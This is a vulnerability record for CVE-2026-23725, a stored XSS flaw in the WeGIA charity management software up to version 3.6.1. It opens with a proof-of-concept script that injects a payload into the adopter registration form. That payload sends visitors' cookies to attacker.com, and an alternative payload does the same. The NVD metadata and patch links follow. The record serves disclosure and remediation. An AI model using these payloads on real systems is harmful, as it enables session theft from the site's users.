CVE-2026-23725

// CVE-2026-23725 Stored XSS PoC // Target: WeGIA <= 3.6.1 // Endpoint: html/pet/adotantes/cadastro_adotante.php // Step 1: Submit malicious payload via registration form fetch('html/pet/adotantes/cadastro_adotante.php', { method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded', }, body: 'nome=<script>fetch("https://attacker.com/log?c="+document.cookie)</script>&[email protected]&telefone=123456789' }); // Step 2: When victim visits informacao_adotantes.php, the payload executes automatically // Alternative payload for cookie theft: // <img src=x onerror="this.src='https://attacker.com/steal?cookie='+document.cookie"> // Simple test payload: // <script>alert('XSS')</script>

{"cve": {"id": "CVE-2026-23725", "sourceIdentifier": "[email protected]", "published": "2026-01-16T20:15:50.460", "lastModified": "2026-01-30T18:29:24.140", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "WeGIA is a web manager for charitable institutions. Prior to 3.6.2, a Stored Cross-Site Scripting (XSS) vulnerability was identified in the html/pet/adotantes/cadastro_adotante.php and html/pet/adotantes/informacao_adotantes.php endpoint of the WeGIA application. The application does not sanitize user-controlled input before rendering it inside the Adopters Information table, allowing persistent JavaScript injection. Any user who visits the page will have the payload executed automatically. This vulnerability is fixed in 3.6.2."}, {"lang": "es", "value": "WeGIA es un gestor web para instituciones benéficas. Antes de la 3.6.2, se identificó una vulnerabilidad de cross-site scripting (XSS) almacenado en el endpoint html/pet/adotantes/cadastro_adotante.PHP y html/pet/adotantes/informacao_adotantes.PHP de la aplicación WeGIA. La aplicación no sanea la entrada controlada por el usuario antes de renderizarla dentro de la tabla de Información de Adoptantes, lo que permite la inyección persistente de JavaScript. A cualquier usuario que visite la página se le ejecutará la carga útil automáticamente. Esta vulnerabilidad está corregida en la 3.6.2."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:wegia:wegia:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.6.2", "matchCriteriaId": "419B3A85-5754-4198-A73E-92A9DA8E7A68"}]}]}], "references": [{"url": "https://github.com/LabRedesCefetRJ/WeGIA/pull/1333", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://github.com/LabRedesCefetRJ/WeGIA/releases/tag/3.6.2", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/LabRedesCefetRJ/WeGIA/security/advisories/GHSA-c85q-4fwg-99gw", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}]}}